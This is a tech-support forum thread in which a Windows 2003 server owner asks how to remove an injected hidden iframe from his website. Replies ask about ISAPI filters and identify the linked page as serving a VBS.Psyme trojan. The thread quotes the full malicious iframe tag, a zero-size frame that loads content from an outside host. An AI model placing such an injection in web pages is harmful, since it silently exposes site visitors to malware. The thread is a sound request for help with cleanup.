We help IT Professionals succeed at work.

Virus on windows 2003 server: Iframe in top of website

webressurs
webressurs asked
on
Medium Priority
227 Views
Last Modified: 2013-12-04
Hello,

I got a virus on my Windows 2003 Server.
On one of our major websites this line of code is placed in the top of the page:

<iframe src="http://ricewine.be/hhbb.htm" width="0" height="0" frameborder="0"></iframe>

If I open the webpage and look in the asp-file on the server, the  "iframe"-code is not there!

Anyone who know what this is? How to remove it, and why I got it?
Yes, all my software is legal, no software cracks on the server ;)

Please give me some tips to remove the virus!!!!
Comment
Watch Question

Top Expert 2007

Commented:
Are you hosting this on your server or is it at a hosting facility?

Do you have any ISAPI filters or wildcard application mappings configured?

Dave Dietz

Author

Commented:
Yes, this is my own windows 2003 webserver.
I dont really know wht ISAPI or wildcard application are, so I guess I dont use it :)
Mabye a virus have installed something like this...? I dont unerstand how this Iframe can appear in the website header, and how to remove it...?
Commented:
i followed the link you specify and a Trojan with " VBS.Psyme.cf" was catched by kaspersky antivirus
look at this article to know more detailed about it and how it works.
http://www.f-secure.com/v-descs/fagot.shtml

i think any kind of antivirus program is good to identify this virus

Not the solution you were looking for? Getting a personalized solution is easy.

Ask the Experts
Access more of Experts Exchange with a free account
Thanks for using Experts Exchange.

Create a free account to continue.

Limited access with a free account allows you to:

  • View three pieces of content (articles, solutions, posts, and videos)
  • Ask the experts questions (counted toward content limit)
  • Customize your dashboard and profile

*This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

OR

Please enter a first name

Please enter a last name

8+ characters (letters, numbers, and a symbol)

By clicking, you agree to the Terms of Use and Privacy Policy.